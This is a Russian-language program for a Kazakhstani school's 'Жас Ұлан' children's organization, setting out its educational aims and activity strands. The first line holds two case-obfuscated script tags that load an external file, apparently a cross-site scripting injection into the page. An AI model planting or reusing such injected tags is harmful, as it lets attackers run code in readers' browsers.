<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

Программа

деятельности детской организации «Жас Ұлан»

КГУ «Борисовская средняя школа

отдела образования Атбасарского района»

Надо видеть себя в детях, чтобы помочь имстать взрослыми, надо

принимать их

как повторение своего детства, чтобысовершенствоваться самому, надо,

наконец, жить жизнью детей, чтобыбыть гуманным педагогом.

Ш.А. Амонашвили

Стремительно меняется время, меняется общество и отношения между людьми. Что же такое воспитание?

Воспитание – процесс целенаправленного управления развитием личности, основанный на эффективном взаимодействии воспитателя и воспитанников, направленный на достижение поставленной цели.

Воспитание – это искусство. Искусство прикосновения к ребенку, которое помогает, стимулирует его самоизменение, самостроительство, самосовершенствование.

Воспитание – это чувство, голос души и сердца.

Чтобы процесс воспитания проходил успешно, безболезненно для ребенка, вокруг него должна быть создана такая атмосфера, где ребенку уютно, где его любят, ценят, где о нем будут заботиться настолько, что он станет интересен себе и другим.

 Программа деятельности детской организации «ЖасҮлан» ГККП «ДЮЦ» составлена на основе идеи «педагогике общей заботы». В ней лежат следующие принципы: социально полезная направленность деятельности детей и их наставников, сотрудничество детей и взрослых, творчество. Кроме того, «педагогика общей заботы» учитывает такие идеи коллективного творческого воспитания, как:

·        коллективная организация деятельности;

·        коллективное творчество;

·        коллективное целеполагание;

·        эмоциональное насыщение жизни коллектива;

·        общественная направленность деятельности коллектива.

Суть каждой из этих идей заключается в следующем:

коллективная организация деятельности предусматривает участие в планировании,

подготовке, проведении и обсуждении совместных дел всех членов коллектива;

коллективное творчество- проведение совместных дел с выдумкой, фантазией,

игрой, импровизацией; коллективное целеполагание- совместную выработку и

осмысление взрослыми и детьми целей и идеалов своей коллективной жизни, а

также выбор на основе этих целей предстоящих общих дел; ситуации-

своеобразные эталоны, идеалы коллективной деятельности и общения;

общественная направленность деятельности предусматривает деятельность на

пользу и радость людям.

Цель программы деятельности «ЖасҰлан» - формирование личности с высоким чувством патриотизма, казахстанской куль­турной идентичности, гражданской ответственно­сти, функционально грамотного, способного к само­совершенствованию и самореализации человека.

Задачи программы «ЖасҰлан»:

·        способствовать развитию нравственных, морально-этических норм своего и других народов, умению соотносить свои устремления с интересами других людей и социальных групп, социализации личности и ценностных ориентиров;

·        содействовать формированию казахстанского самосознания и культурной идентичности, навыков соблюдения гражданского долга, толерантности и патриотизма;

·        способствовать формированию навыков здорового образа жизни, развитию физической культуры через организацию спортивных, туристических, поисково-экспедиционных и краеведческих программ;

·        содействовать развитию функциональной грамотности, профессионального самоопределения, предпринимательских, экономических компетентностей;

·        способствовать развитию правовых компе­тенций, гражданской активности и политической грамотности;

·        способствовать формированию у детей экологической культуры, сознательного отношения к окружающему миру.

Содержание программы

Деятельность детской организации «Жас Улан» осуществляется по отдельным направлениям, каждое из которых имеет свои цели и задача, ориентированные на предоставление каждому ребёнку возможности попробовать себя в различных социальных ролях и выбор вида деятельности в соответствии со своими желаниями,

потребностями и опытом: «Руханият», «Отан», «Салауат», «Жеті жарғы», «Мен көшбасшымын», «Зерде», «Экоәлем», «Өзімнің дауысым».

Направление «Отан»

Цель: воспитание гражданственности и казахстанского патриотизма, уважения к истории страны, её символам, людям страшего поколения, обычаям, традициям и культуре народов, населяющих республику.

Задачи:

·        Проведение праздников, конкурсных программ и мероприятий по культуре, истории Казахстана, обычаям и традициям казахского народа и народов, живущих на территории республики;

·        Работа по правовому образованию и воспитанию детей и подростков;

·        Работа по изучению родословных своих семей, генеалогии людей, прославивших Казахстан в той или иной сфере общества, и в рамках этой работы проведение конкурсов на знание генеалогии и т.д.;

·        Всевозможные мероприятия по изучению и популяризации знаний учащихся по истории Казахстана, Конституции РК, государственным символам, правам и обязанностям гражданина.

Направление«Салауат»

Цель: пропаганда здорового образа жизни, популяризации спорта, спортивных и народных игр.

Задачи:

·        Привитие и развитие у школьников жизненных навыков, необходимых для поддержания и сохранения здорового образа жизни, жизни без употребления вредных привычек;

·        Информированность и знания школьников о вредных веществах и опасных последствиях их употребления.

Направление «Руханият»

Цель: выявление и развитие разнообразных талантов и способностей детей и

подростков, создание ситуации успеха для каждого ребёнка через привлечение

его к различным видам индивидуальной и коллективной творческой деятельности,

эстетическое воспитание учащихся.

Задачи:

·        Проведение игровых, интеллектуальных, музыкальных мероприятий, конкурсов;

·        Встречи, конференции с известными людьми города, области (писателями, художниками);

·        Функционирование кружков, секций  с учётом интересов и

потребностей детей;

·        Организация разнообразного и полезного досуга детей и взрослых, проведение совместных мероприятий, праздников.

Направление «Мен көшбасшымын»

Цель: создание условий для реализации возможностей каждого ребёнка в достижении успеха, развитие умений творчески решать любые задачи, быть организатором, уметь общаться со сверстниками, повышение интеллектуального и культурного уровня подрастающего поколения;

Задачи:

·        выявление и реализация лидерского потенциала личности ребёнка;

·        формирование у подростков умения организованности, оптимального общения;

создание условий, позволяющие находить конструктивный опыт «ситуация Успеха».

Направление

«Өзімнің дауысым»

Цель:

создание условий для реализации и развития литературных творческих возможностей ребёнка через журналистскую деятельность.

Реализации этих целей призваны способствовать:

·        Выпуск информационных листков, бюллетеней, газет, рассказывающих о деятельности детской организации;

·      Создание информационной базы (лучшие статьи, фотографии, рисунки детей, который можно публиковать в газетах);

·        Проведение конкурсов на лучшую газету, статью, фото, очерк и публикация лучших работ в СМИ.

Направление

«Жеті жарғы»

Цель:формирование правового сознания, правой культуры учащихся школы, активной

гражданской позиции подростков.

Задачи:

·        Формирование правовой грамотности подрастающего поколения,

·        Воспитание правосознания подростков;

·        Формирование правовой компетентности гражданина;

·        Социализация личности школьника.

Направление

«Экоәлем»

Цель: создание широких возможностей для творческой самореализации личности на пользу себе и обществу.

Задачи:

·        Воспитание экологически целесообразного поведения как показателя духовного развития личности;

·        Формирование экологического мышления и экологической культуры учащихся;

·        Развитие таланта и способностей как особой ценности;

·        Формирование здорового образа жизни учащихся.

Направление «Зерде»

Цель: Развитие и формирование интеллектуальных способностей, интереса к научно-исследовательской деятельности.

Задачи:

·        Формировать и развивать культуру умственного труда учащихся;

·        Развивать культуру чтения и речи;

·        Формировать навыки монолога, диалога, дискуссии;

·        Организовывать работу по развитию памяти, воображения, внимания, представлений, восприятия.

Ожидаемые результаты

Ожидаемые результаты функционирования РЕДЮО «ЖасҰлан» прогнозируются следующие:

·        из каждого жасулановца сформируется творческая, компетентная, высоконравственная, патриотичная личность с ярко выраженным казахстанским самосознанием и культурной идентичностью;

·        развитие лидерских, организаторских и исполнительских способностей, трудолюбия и ответственности у подрастающего поколения;

·        снижение правонарушений среди подростков и процент их вовлечения в организацию;

·        расширится сфера применения детских социальных инициатив, новаторских методов развития личностных способностей в соответствии с потребностями и интересами детей;

·        повысится социальная активность и гражданская ответственность школьников;

·        повысится роль организации «ЖасҰлан» в совместной деятельности с семьей,

организациями образования, органами местного самоуправления, общественными

объединениями и другими структурами гражданского общества.